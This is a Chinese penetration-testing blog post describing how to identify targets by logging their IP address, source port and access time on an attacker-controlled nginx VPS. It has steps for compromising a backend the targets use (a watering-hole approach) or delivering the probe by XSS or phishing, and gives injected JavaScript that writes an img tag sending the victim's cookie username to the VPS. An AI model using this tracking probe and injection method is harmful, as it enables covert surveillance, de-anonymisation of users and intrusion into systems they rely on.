更多渗透技能 欢迎搜所公众号:白帽子左一
来源于作者:小黑 x1a0he
0x00 前言
做GA的业务,有时客户会要求去抓取目标人员使用的【ip地址+端口+时间】,以便后续落地目标的人员身份。
刚开始接到需求时我首先想到的是去目标服务器上监听抓取通信流量,不过后面在老大指点下我们换了一套更好的方案:
(1)不需要获取目标服务器权限
(2)不需要写逻辑代码
(3)多个项目同时使用一个环境时能够筛选结果
本文就介绍一下这套方案。
0x01 原理和前提条件
(1)具体原理:
nginx日志经过配置后可以记录请求者的访问ip、端口和请求时间。
(2)前提条件:
1、需要准备一台公网vps。
2、需要有办法能让目标主动请求你vps上的图片(img标签可以避免跨域问题)。
关于条件2其实有很多方法,我们利用了水坑攻击的思路,拿下了目标会使用的后台服务器然后修改前端源码让访问者主动请求我们vps上的图片资源。
如果没有服务器权限的话,挂xss或者向目标发钓鱼链接也是可以的。如果是那种允许发表外链图片内容的网站就更简单了。
0x02 搭建部署vps
(1)首先在公网vps上搭建nginx服务器,我这里直接开了一台阿里云的宝塔镜像,简单快捷,后续绑定证书也很方便。
(2)在安全组开放80、443和8888端口,然后登陆服务器输入命令bt获取登陆入口、初始账密等信息。
(3)登陆宝塔后台后在软件商店安装nginx
(4)点击设置-配置修改,在http大方块中添加下面的代码修改nginx的记录日志的格式(默认不会记录端口所以需要修改配置)
log_format main '$remote_addr - $remote_port - [$time_local] "$request" "$http_user_agent"';
(5)新建一个网站,如果目标系统是https,则需要解析一个域名(https无法向http链接发出请求),如果不是https,那解析一个ip就好了。
(6)创建之后点击SSL证书下面的未部署去添加证书。注意域名需要真实的解析到这个ip,证书校验才会成功。可以自己申请购买一个域名或者使用域前置。
(7)部署成功后,可以用 https://ip地址 访问网站,国内解析域名需要备案,所以用ip地址访问就好了。
(8)在网站-设置-配置文件的最下面,access_log最后面加上main,让其使用nginx配置文件中我们刚刚添加的日志配置。
图片
(9)在软件商店-nginx里重启nginx
(10)登陆vps,在/www/wwwlogs目录下查看日志,可以看到已经能记录ip、端口和时间了。
0x03 部署探针
1、首先观察目标前端源码,看看用户名是怎么获取的(这步用于区分具体是后台的哪个用户的身份,可省略),下图的例子,用户名是$cookie.name
2、插入以下js代码
var username = '$cookie.name ';
document.write("<img src='https://你的vps的ip地址/?flag@"+username+"'>");
如果没有获取到目标的源码不知道用户名变量是什么,就直接插img标签同时省略username的部分。
3、目标访问后,就可以在日志里去收获成果了——某用户在某时使用某ip的某端口。
4、添加flag部分是为了便于筛选日志,公网vps时时刻刻都可能会被各种扫描器扫描,从而产生大量干扰。添加flag标志后,使用cat和grep组合即可排除这些干扰。
5、同时不同项目的探针也可以使用不同的flag字符串进行区分,这样就不用开很多台vps了。
0x04 一个坑
宝塔的nginx日志人工改动后(比如用vim或者sed),可能会导致不再记录日志,需要重启nginx才能恢复。所以配置好vps后注意不要对日志进行人工改动。